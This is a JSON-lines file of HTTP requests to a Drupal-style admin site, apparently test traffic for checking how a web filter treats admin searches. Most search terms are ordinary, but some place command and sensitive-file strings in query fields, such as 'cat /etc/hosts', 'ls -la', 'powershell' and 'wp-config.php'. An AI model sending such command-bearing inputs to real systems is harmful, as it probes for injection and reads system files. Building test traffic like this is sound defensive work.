{"method": "GET", "target": "/admin/reports/updates", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/help", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/modules/browse", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media-grid", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/media-grid", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmedia_library%3Alocation%3Dpage%26name%3Dmedia_library%26display_id%3Dpage%26langcode%3Den&tokens%5B%5D=j9Y8Hgn09m7XQjCW5BfTzqp2SoYZRr5vB6MwyUrqz1w"}
|
||||
{"method": "GET", "target": "/admin/content?title=hello%20world&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=hello%20world&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=hello%20world&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=hello%20world&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=hello%20world&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=hello%20world&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=python3&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=python3&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=python3&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=python3&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=python3&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=python3&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=powershell&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=powershell&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=powershell&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=powershell&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=powershell&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=powershell&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=ls%20-la&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=ls%20-la&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=ls%20-la&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=ls%20-la&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=ls%20-la&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=ls%20-la&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=.htaccess&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=.htaccess&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=.htaccess&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=.htaccess&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=.htaccess&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=.htaccess&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=wp-config.php&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=wp-config.php&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=wp-config.php&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=wp-config.php&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=wp-config.php&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=wp-config.php&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=docker-compose.yml&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=docker-compose.yml&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=docker-compose.yml&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=docker-compose.yml&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=docker-compose.yml&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=docker-compose.yml&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=cat%20%2Fetc%2Fhosts&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=cat%20%2Fetc%2Fhosts&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=cat%20%2Fetc%2Fhosts&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=cat%20%2Fetc%2Fhosts&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=cat%20%2Fetc%2Fhosts&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=cat%20%2Fetc%2Fhosts&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=SELECT%20rows%20FROM%20table&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people?user=SELECT%20rows%20FROM%20table&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
